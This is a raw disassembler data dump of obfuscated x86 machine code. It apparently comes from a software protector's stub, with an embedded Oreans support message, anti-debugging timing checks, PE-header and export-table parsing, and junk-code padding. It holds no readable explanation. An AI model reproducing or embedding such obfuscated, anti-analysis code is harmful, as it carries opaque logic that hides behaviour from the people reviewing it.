60000068h dd 12E8h, 0D6C7E900h, 220E7F65h, 246C1923h, 0B6D8E904h dd 0E9533774h, 0Fh, 3BF9A3B4h, 77D31C14h, 3F426651h, 590F126Ch dd 14E860h, 0C9070000h, 239C8324h, 0A252B9F3h, 0C8A5464Eh dd 0AFBC1B3Ch, 665B0AADh, 6106EFB8h, 6861h, 0FF5E0000h dd 0E9601E34h, 0Ch, 205067A6h, 92DF56EEh, 5049CABFh, 13E860h dd 0C6B50000h, 9989FAC1h, 68AC2494h, 20497A16h, 863241E1h dd 8E85AB8h, 0FB000000h, 0F9C3081Ch, 592A5B1Bh, 665A6161h dd 0C27ED981h, 6E51C281h, 81F53F66h, 0DF870BC2h, 0B9EA811Dh dd 0E96618C3h, 0Ch, 0DA2B70CCh, 0F8014E77h, 70F745EDh dd 80331489h, 880F9EE0h, 19h, 14E9h dd 9D2AAD00h, 7251EB30h, 0E0D3B71Dh, 45D3EC5h, 116BCE40h dd 1EE83E9h, 0A34BF66h, 604E4E4Eh, 26D68156h, 597D35DAh dd 7E8h, 0A9FAD00h, 929B0CE3h, 6158F88Bh, 9874FE81h, 850FFFFFh dd 0Dh, 24E9h, 5C930B00h, 0FE62BA48h, 1ECD808Ah, 0FFFF2EE9h dd 0DCFCC9FFh, 5037AB0Dh, 689A5350h, 0B86936C4h, 52F57A2Ah dd 4934EBE6h, 474D5346h, 56202052h, 2020444Bh, 56202020h dd 20204D4Dh, 56202020h, 334E4957h, 56202032h, 444C4458h dd 202052h, 2 dup(0) dd 0E9000000h, 8ACh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0F3C35343h, 85DCF414h, 7CB3FFE9h, 18E0F60h dd 0F5000000h, 61F9D480h, 57006A60h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6039D7B8h dd 0BAFDE781h, 816660D0h, 61885AE7h, 6EEE85C7h, 5EAh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 10E931C3h, 4E000000h, 6398945Dh, 754F17E4h, 2493B344h dd 607BF53Dh, 8B66CBB1h, 860F61F9h, 0Ah, 5E9h, 892B9500h dd 0C68B8608h, 0EE9h, 58841300h, 90277518h, 9670A1C8h dd 0F98F420h, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0FA4C4C3h, 890F8A80h, 1, 10E8C1F8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FDC35242h dd 14A69284h, 8C0FA999h, 1Ch, 16860Fh, 11E90000h, 0F7000000h dd 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh, 0E0598472h, 0AE9h dd 0A3D62D00h, 54EDC163h, 66371131h, 6A08C8C1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 8CDEC355h, 0F4E8CD6h, 182h, 8589FC00h, 5EA6EF2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CC35646h, 0E97BF80Fh dd 0Bh, 0A0658103h, 2D71E0FFh, 66EF273Ah, 6A08CBC1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 15E2C351h, 7C867EA4h, 835FAE00h, 850F40FBh, 65h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8C35646h, 79526621h dd 78C0Fh, 8F0F0000h, 1, 0C6BD8DF9h, 0E905EA6Eh, 0Bh, 0F2F4C2B7h dd 0D655C5D1h, 0E978EC9Bh, 1C8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0E5C35141h, 0DFB83C1h, 3C850Fh dd 60600000h, 0D180C68Bh, 5F51615Eh, 0CEBD8D61h, 6005EA6Eh dd 0B0CEE881h, 6E90F3Bh, 63000000h, 17D3BC7Fh, 79E96174h dd 0E9000001h, 0Eh, 732B6777h, 6F67BB73h, 0D3301596h, 0FB83030Bh dd 89850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 7E03C356h, 830F216Bh dd 19h, 13870Fh, 0EE90000h, 33000000h, 49BA29C0h, 0BAA70860h dd 7DD66F27h, 0D6BD8DD8h, 0F05EA6Eh, 128Dh, 0DE900h, 0B6200000h dd 0DAF3AE8Ch, 724DEA2Fh, 0E9871161h, 0FCh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h, 0A1D7905Ch dd 18E0F65h, 0F9000000h, 0F2AFB83h, 4F85h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E983AE9Ch, 5, 285F4A2Bh, 8880FF8h, 0F000000h, 28Ch dd 8D616000h, 0EA6EDEBDh, 81666005h, 81D31CC3h, 0C4A353E6h dd 7DE96160h, 0F8000000h, 0F27FB83h, 3E785h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0EA511304h, 6089CAFFh, 6E8h, 4FBA7F00h, 0E988535Eh dd 0Fh, 7AA7485Fh, 6A882440h, 0AC73B6C1h, 5E6763C9h, 38E0Fh dd 8B660000h, 8DFC61F9h, 0EA6EE6BDh, 19800F05h, 0F000000h dd 1388h, 0EE900h, 60F00000h, 0DAFE3269h, 0ABACB5CCh, 0B12FE754h dd 6EF6BD89h, 13E905EAh, 5F000000h, 0D5F0D45Ch, 40BE91E4h dd 805B1938h, 0CE710366h, 8C669B8Ah, 14E9C8h, 99A00000h dd 5BC25CEDh, 339884D3h, 74A0B4D1h, 0A9443BC9h, 8F0FBD67h dd 10h, 0BE9h, 0EB16AB00h, 0F856E10Fh, 263C05E8h, 0F600324h dd 1588h, 0FE800h, 2D500000h, 95145223h, 180B0A37h, 0CC87BEEEh dd 0A615B50h, 0F3850FC0h, 0F000001h, 18Fh, 0B58DF900h dd 5EA7686h, 10E9h, 757E8500h, 0FF08A8ADh, 31684D58h, 0BF74BEDDh dd 22858B7Ch, 6A05EA77h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0CD45C352h, 3FC185C4h dd 13E860h, 0A7380000h, 89A91EAAh, 41976F6Eh, 0F36C4E08h dd 65676130h, 0D6BF0F36h, 0F08B665Eh, 52509261h, 9E9h dd 12084500h, 9E9F21B3h, 310F3D5Ah, 11E860h, 8CA00000h dd 468E9DF0h, 6E5E50E5h, 0FC558B76h, 59216F28h, 0DE9h dd 0C9846200h, 8D294D2Bh, 0A6698C47h, 5A613B71h, 52505058h dd 68C0Fh, 8D0F0000h, 0 dd 0E860310Fh, 0Fh, 25E81835h, 10EE7208h, 0A2048746h, 5982BC40h dd 5A61D68Bh, 6A9258h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 352F2BC3h, 0F9DE03Bh, 118Eh, 0E8F96000h dd 8, 6381D9B5h, 2CFB531Fh, 0B060615Fh, 10F61B7h, 0E9FE244Ch dd 9, 0EEDF42C6h, 67F6049Bh, 1850FE0h, 0F5000000h, 0BCB9605Ah dd 0F20A149h, 8361D2BFh, 8C0F24C2h, 9, 849BE60h, 58535827h dd 72896661h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 7C84A7B2h, 0F1ACB1Eh, 184h, 0AE9FC00h dd 0E3000000h, 2B636DC1h, 0B4530A6Fh, 10CEC1EAh, 728966F5h dd 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0EF39895Ah, 4CDF8D9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0F7C35646h, 820F3679h, 8, 2830Fh dd 61600000h, 0E9E9h, 0CE900h, 27B00000h, 34F1A7E5h, 0FFCB5971h dd 858BF525h, 5EA7722h, 665E5160h, 0DCEED181h, 86B58D61h dd 6A05EA76h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0EE26C350h, 71858DBCh, 6A05EA46h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0AC46C350h, 0A643BE92h, 14E9C37Bh, 43000000h dd 487C0E71h, 6A71C75Ah, 19363440h, 9200F079h, 60A8DBAAh dd 1483B960h, 0C68060C3h, 880F61E4h, 2, 0FF615851h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0EEE2F58Ah, 0DE367380h, 5E8604Ah, 38000000h, 303A3C59h dd 5E9h, 68393800h, 0F5E8A7Dh, 58Fh, 6136BE00h, 60613865h dd 0B1DA8B66h, 85896133h, 5EA6EEEh, 0CE960h, 0A1AB0000h dd 0B815EEF1h, 4236FF46h, 11E8BB6Fh, 36000000h, 9DCC2281h dd 55B80A32h, 972C7A4Bh, 0E02A5EB4h, 61585E50h, 53006A61h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0F8A99109h, 6EEE858Bh, 0C3FC05EAh, 18A0Fh, 60FC0000h dd 2E8B0Fh, 0E8600000h, 0Dh, 23619444h, 34A4DBA6h, 6DD6DF7Ah dd 14E95FF2h, 0A7000000h, 0D514127Bh, 10F82E50h, 0D2CE4960h dd 5536C81Fh, 6171C479h, 0CE9h, 0A4F41C00h, 0B42FC4FFh dd 0DE195556h, 22BD838Bh, 5EA77h, 31850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 6B7E03C3h, 0DFA56721h, 0F92FC6EBh, 772285C7h, 13F05EAh dd 0E9FC0001h, 11h, 0CE9h, 0BE28000h, 0B3E57BB0h, 603A8CE2h dd 20CDD3h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 5EA6EF6h dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 5EA6EF2h, 7F34583Bh dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 5EA6EEEh, 8B04EBh dd 8B61C5EBh, 0EA6EEE85h, 6ACF05h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 6AF98AC3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 9E33C350h, 1DAE6E06h, 597BC45Bh, 0DE8C08Bh, 39000000h dd 0B4908378h, 0FC5EAE91h, 0A59C2DEBh, 0F27EE8BBh, 0C9B75A41h dd 5E07C281h, 0CA8A0000h, 175ABFh, 0AE900h, 0F2D80000h dd 30983BCDh, 36DC2F1Ch, 6056328Bh, 8A0F5952h, 0 dd 0EE815861h, 689DFBEBh, 81C88B66h, 9C362CF6h, 0D081661Ah dd 0C681D45Eh, 74F28BB6h, 56C78B66h, 2880Fh, 81B50000h dd 0CF80028Fh, 65EA8199h, 814321CEh, 0CBD941C8h, 61C2816Dh dd 0E84321CEh, 14h, 3191E110h, 0CB5B5AA4h, 0E9DEC721h dd 49300B62h, 0FB2F517Eh, 36D7B866h, 850F4F59h, 0FFFFFF90h dd 83E989B1h, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h dd 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h, 738B207Bh dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh, 178B1C24h dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 13E8h dd 1324D900h, 0DDC97E71h, 46E8E306h, 0B779262Fh, 15E72A8Fh dd 13E9h, 94139900h, 0ED61F6A6h, 60D337F4h, 76EB6F32h dd 0E48A81CEh, 54BA665Fh, 0F5C7817Ah, 66000064h, 49ECE981h dd 1913BBh, 96F68000h, 0B70F37FFh, 0AFB95ECEh, 81389B0Ch dd 6F2400C6h, 0CABF0F5Bh, 1C25EE81h, 8C0F10F3h, 0Fh, 6E8h dd 69A36400h, 0FB8AE23h, 8159C2BFh, 3558D0F6h, 7E84Ah dd 87270000h, 5DF8D12Fh, 3860FAEh, 66000000h, 8958C68Bh dd 5850F37h, 0B9000000h, 29A498C7h, 0B904EF83h, 5B8989CAh dd 99850F4Bh, 66FFFFFFh, 0E9CE8Bh, 4, 33000000h, 69206E41h dd 7265746Eh, 206C616Eh, 65637865h, 6F697470h, 636F206Eh dd 65727563h, 41282064h, 65726464h, 203A7373h, 78257830h dd 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh, 73207463h dd 6F707075h, 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh dd 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 109Eh, 19A99589h, 858B05E7h, 5E72A6Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EFC35646h, 0F0D3472Ah dd 28519501h, 8E905E7h, 0AE000000h, 7AAE3508h, 391188B1h dd 0F042444h, 0A885h, 0BE900h, 0EFB90000h, 4B62A959h, 0E49C7699h dd 0FDBD83FEh, 5E701h, 8B840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5EA584C3h dd 6880F60h, 1000000h, 0E71CF1BDh, 15BD8B05h, 6105E729h dd 6860Fh, 8D310000h, 5E715EDh, 392A858Dh, 6A05E7h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 896FC0C3h, 6FB615E4h, 0FFF926AFh, 56006AE0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 2A770629h dd 85858BBFh, 6A05E717h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 426BC352h, 0C4D71D52h dd 1C51BD31h, 443905E7h, 850F0424h, 32h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 60C35646h, 0B25FD459h dd 85C7EFF2h, 5EA7D92h, 1, 2039BD29h, 316005E7h, 0E725519Dh dd 26E905h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD8948C3h, 5E70CB5h, 0 dd 1B8h, 23858700h, 0B05EA7Fh, 0FFF675C0h, 0E732A5B5h dd 8A858F05h, 6A05EA7Dh, 0FFFF6A20h, 0E7196D95h, 7DBD8305h dd 5E71Ah, 6A0874h, 21C195FFh, 0BD8305E7h, 5E7183Dh, 680D7401h dd 80h, 95FFFF6Ah, 5E7196Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 77C35343h, 0C67EE41Ch, 51686D84h dd 68D0Fh, 8D890000h, 5E72155h, 0F28BF560h, 0B861h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0F4BA02C3h, 267E44EAh, 958964DAh, 5E70A2Dh, 2824548Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0CBC35343h dd 89FCFE6Ch, 0E7221985h, 0E8816005h, 0D7DE6ADh, 0A01858Bh dd 0BE6105E7h, 3Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0FEC35141h, 0AE9387Eh, 0C1000000h, 977B4A7Fh dd 9874E1FDh, 65958943h, 305E719h, 60242474h, 1A619D03h dd 0EE8005E7h, 0AD666148h, 0E58501FCh, 305E71Bh, 29242444h dd 0E72A5D85h, 0E59D0105h, 9005E705h, 9E9h, 155A8600h dd 99CCFECCh, 0F500471h, 0C8Eh, 6820F00h, 0F000000h, 8Fh dd 6A9000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 85671C3h, 78408B4Dh, 31BD0960h, 0F05E71Dh dd 68Eh, 0D1858B00h, 6105E70Ch, 7D92BD83h, 0F0005EAh, 0E685h dd 89BD8900h, 9005E720h, 0BE9h, 147C800h, 0B64227B7h, 4C9B76FEh dd 90616050h, 24759D01h, 448B05E7h, 6A2C24h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 4F0DD8C3h dd 0C77996EBh, 35858960h, 8A05E718h, 0B50961C6h, 5E73191h dd 8F98589h, 505005E7h, 0F820F52h, 0E9000000h, 0Ah, 655B5C74h dd 0BBDA97A2h, 310FE62Ch, 666FB360h, 614A66BAh, 489585Ah dd 8E0FF824h, 0Ch, 68D0Fh, 9D890000h, 5E71905h, 4712858Dh dd 0BD2905EAh, 5E70CD5h, 15E1BD29h, 0D0FF05E7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 1F342789h dd 8390887Ah, 9E960A8h, 0F2000000h, 41A19B51h, 0EF95CF2h dd 132D9D89h, 36105E7h, 6A282444h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 32C4C355h dd 9D40C94Bh, 0E998BA1Eh, 13h, 154EE36Ch, 0D839C818h, 21D6AB66h dd 0AFDA7364h, 0F54F3FDBh, 1CDD8589h, 408B05E7h, 50006A18h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 12A2EEB4h, 430E8ED5h, 56006A40h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 8E8589F4h, 8905EA7Dh dd 0E72BF195h, 8BF85805h, 95897870h, 5E703E5h, 1CC683F9h dd 0EE9h, 7780D200h, 0F2F34674h, 0D5B1D146h, 966B1FABh dd 1C8C0Fh, 53600000h, 13E95Ah, 0E1570000h, 3BA54B4Eh dd 359352F0h, 53C812C7h, 5053E6F2h, 7C81615Ch, 2424h, 870F1000h dd 12Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 36C35545h, 647C4AB6h, 312F93ECh, 0E72CA58Dh, 0B1B53105h dd 9005E732h, 128A0Fh, 0DE90000h, 0FF000000h, 3F127CD8h dd 2F5A203Ch, 0A40C7E6Ah, 0B8666050h, 0F38BD5E4h, 6A9061h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0BDF85C3h, 2824448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 1C35343h, 0F3C99C71h, 0E9018C7Fh, 0Ch dd 945B8DF5h, 0E8E277CEh, 379CACFh, 0B890F50h, 60000000h dd 310F5250h, 8B66585Ah, 48961C8h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0A594280Bh dd 0E9B9FB2Eh, 5, 2F61E8F4h, 12858D0Bh, 3105EA47h, 0E728D5BDh dd 6AD0FF05h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 1A10C351h, 0E91811D8h, 0Fh, 0D3FD29DDh dd 9EC092E6h, 9A4FB6B5h, 9668B72Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0ADC35242h, 36AD23D6h, 439A5420h dd 6840FE2h, 89000000h, 0E71D7D9Dh, 24740305h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0B5890D44h, 5E703C5h, 0C45BD8Dh, 890F05E7h, 0Eh, 860F60h dd 9000000h, 0E71791BDh, 60AD6105h, 15418D89h, 816105E7h dd 24247Ch, 0F100000h, 10B87h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0B9CDF8E1h dd 8A0FF324h, 6, 2BF59D89h, 9D8905E7h, 5E70629h, 50525050h dd 5E952h, 0E6B00000h, 0F103D61h, 8E0F31h, 5A000000h, 50310F58h dd 850F52h, 0F000000h, 5A616031h, 89585A58h, 6A2404h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0D442CDC3h, 0D37AC04Eh, 0E94949B5h, 0Eh, 9617D535h dd 6FCD7E8Dh, 0FB01A3BCh, 448B2AAAh, 85292824h, 5E73199h dd 5E990h, 92BC0000h, 501A59AEh, 14E9h, 0C3E5CB00h, 353B0884h dd 9E835E7Fh, 476ADED6h, 8EB0D893h, 0B5899083h, 5E72F1Dh dd 4712858Dh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 48F295C3h, 29F01160h, 0E71435B5h dd 618D2905h, 0FF05E704h, 0F3B660D0h, 61CB8B66h, 24244403h dd 0F9BD0360h, 8B05E713h, 0E70B19BDh, 89AB6105h, 0E7004D85h dd 0FA8105h, 0F000100h, 6E882h, 14E9F500h, 36000000h, 3E1B5682h dd 0E5252F5Bh, 0BD5A1EBDh, 0D96520ADh, 8D65D991h, 0E72905BDh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 656FCC54h, 0ADEE074Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0C5C35141h, 50844BDFh, 89B91BE7h dd 0E72CA5BDh, 247C8105h, 24h, 0A0870F10h, 29000000h, 0E7200D85h dd 8B605005h, 810F52CEh, 0 dd 4896159h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0EAEB1396h, 448B5A11h, 95892824h dd 5E72309h, 11E950h, 0EBEC0000h, 2170223Dh, 0E95150BEh dd 1C26E8C3h, 890BC045h, 8DF92404h, 0EA471285h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 865F4867h, 60B90683h, 8C19589h, 0B58905E7h, 5E70625h dd 0ED953161h, 0FF05E719h, 0DD8501D0h, 305E705h, 6A242444h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E9B1C355h, 8, 0C7956493h, 4DEBDC32h, 246DB531h dd 0F5005E7h, 1D86h, 178D0F00h, 0E9000000h, 12h, 0F4F37004h dd 2B62C9EDh, 23E0C1ACh, 944DAC57h, 48915C8h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6AABD8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 169AD9C3h, 0B5898304h, 5E70559h, 1961BD8Dh dd 850F05E7h, 0Ch, 68C0Fh, 0BD290000h, 5E70069h, 51006AADh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BE9E578h, 4B000000h, 0DF82C94Dh, 59EE4D2Eh, 7C812DDAh dd 2824h, 870F1000h, 0E0h, 11E9h, 8C07CC00h, 950FDFA9h dd 93D2FA70h, 0F25009B5h, 0E990A035h, 0Ah, 299D2D92h, 7D573ABDh dd 6050DDEFh, 14E8h, 96A1B600h, 0AF4B68A7h, 0BCBED582h dd 8ECC4560h, 6E4890A7h, 71BE6638h, 0F78B58F8h, 0BD899061h dd 5E725D9h, 2C24448Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 96C35040h, 0C398F420h, 85891F49h, 5E70C0Dh dd 68E0Fh, 9D290000h, 5E7057Dh, 13E990h, 0C3F70000h, 0C376969Eh dd 0E96E68Fh, 38289F5Bh, 8ADFFEB1h, 840F5072h, 17h, 12E9h dd 1102C900h, 0C5C18BA2h, 0F9FD5F45h, 0BAB6660Dh, 905D36C0h dd 68D0Fh, 8D010000h, 5E70ABDh, 4712858Dh, 0BD8905EAh dd 5E72285h, 0BD01D0FFh, 5E731C1h, 28244403h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h, 0F5AB8707h dd 8E8DFF5Eh, 8305EA7Dh, 0EA7D8EBDh, 0A750005h, 0B58DC033h dd 5EA8BD5h, 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h dd 502C2444h, 4712858Dh, 0D0FF05EAh, 28244403h, 8ADF8B97h dd 0EA7D8A85h, 74C08405h, 75073A04h, 0C032574Ch, 5EFD75AEh dd 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah dd 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h, 49F38166h dd 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh dd 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 1985FF04h, 0E905E722h dd 0FFFFFF5Dh, 52006A5Eh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 17339655h, 0CE90DD4h dd 35000000h, 9AADFF83h, 400BD282h, 60D432CFh, 2CE9B58Bh dd 8B6105E7h, 0E7221985h, 8D096005h, 5E72135h, 61DBB70Fh dd 6AE0D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0B58835C3h, 58EDA70h, 19618503h, 6A05E7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0BE64E6C3h, 0D52E173Dh, 6830FB2h, 89000000h, 0E72BB595h dd 0BEF505h, 0F9000000h, 51006A96h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 5BD8921h, 6605E72Ch, 50006AADh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 9D89F1A1h, 5E71FC9h, 0A3DB509h, 0E0C105E7h, 53006A02h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 6D2F33AEh, 3EC99B1h, 0E70C4585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD899E8Eh dd 5E73265h, 85D8531h, 0E99605E7h, 7, 0E0C1AC2Bh, 0ADAC5723h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0ABC35747h dd 326768B3h, 0FC06A53Ch, 247C81F9h, 24h, 0EA870F10h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 9274C350h, 30BB0EB6h, 8CCCA319h, 2A419D31h dd 0E99005E7h, 0Eh, 19DAAD3Fh, 86C28915h, 0B70147C8h, 0F504227h dd 68Dh, 0BB666000h, 9061936Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0E8C35242h, 90EF3AA5h, 8BF8ACC0h dd 6A282444h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 7091C355h, 60EB9426h, 8BCE8B66h dd 0E72EBD9Dh, 8B0F6105h, 9, 0F38B6660h, 1A69BE66h, 50609061h dd 28B96652h, 0F310FF5h, 8Fh, 66585A00h, 5061F98Bh, 0B860Fh dd 6E90000h, 8C000000h, 5C492EE3h, 8DF5901Eh, 0EA471285h dd 0D0FFF505h, 54EF8160h, 0FC21E3EFh, 24440361h, 10870F24h dd 0E9000000h, 0Bh, 446A5D5Ch, 3F8EF4FEh, 0FFABCD8h, 18Ch dd 4489F800h, 0C6F51C24h, 0E732A585h, 85C70005h, 5EA7F23h dd 0 dd 7D9285C7h, 5EAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 8E1FE8C3h, 0B6B44FF0h dd 157DB589h, 9D8905E7h, 5E72CB5h, 6840Fh, 9D890000h, 5E706CDh dd 8E0F61F9h, 0Bh, 6E9h, 7190E600h, 0C236197Dh, 6A0008h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 45EDF8C3h, 2DB589F7h, 8905E70Ch, 0E72769B5h, 45858B05h dd 0E905E70Ch, 0Ch, 6935551Ah, 0B4CE93FDh, 0FB7F927h, 0D5BD294Ah dd 6B05E717h, 8C0F04D2h, 14h, 0FE9h, 63197000h, 0E9E17837h dd 0E8A526B3h, 0D5E9EB28h, 0BE9C203h, 33000000h, 5EE37C57h dd 2E53E41Fh, 6A965639h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0ADADC352h, 9858529h dd 7C8105E7h, 2424h, 870F1000h, 129h, 1998531h, 0F5005E7h dd 208Bh, 0E9525000h, 6, 0A1D80A52h, 310FC3E0h, 0AE9h dd 57138200h, 0AEAB1EDCh, 5A076150h, 24048958h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A4C35343h, 640CBEA5h dd 0F0BAC6BCh, 2824448Bh, 95B589h, 509005E7h, 10E952h dd 388B0000h, 6DB872BAh, 0D042B154h, 0EC5F064h, 310F0C48h dd 0EEB86660h, 0EE86Fh, 3FCB0000h, 1B19787Fh, 556E8FBBh dd 6E5AA921h, 585A615Fh, 0FE96050h, 57000000h, 0D956502Dh dd 87CEE46Ch, 40B67C5Ch, 0B6BB9580h, 61088878h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 5484D38h, 1C820F5Ch, 0F000000h, 168Bh, 11E900h, 1FA90000h dd 18E1F959h, 222AB0F4h, 7F34C727h, 8D6B4907h, 0EA471285h dd 8960F505h, 0E71FA18Dh, 610BB305h, 6AD0FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 89560EC3h dd 0E72B25B5h, 0FD97E905h, 6AFFFFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 858D7FC3h dd 5EA90FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 79C35646h, 0BA9782D1h, 89604937h, 0E7128195h, 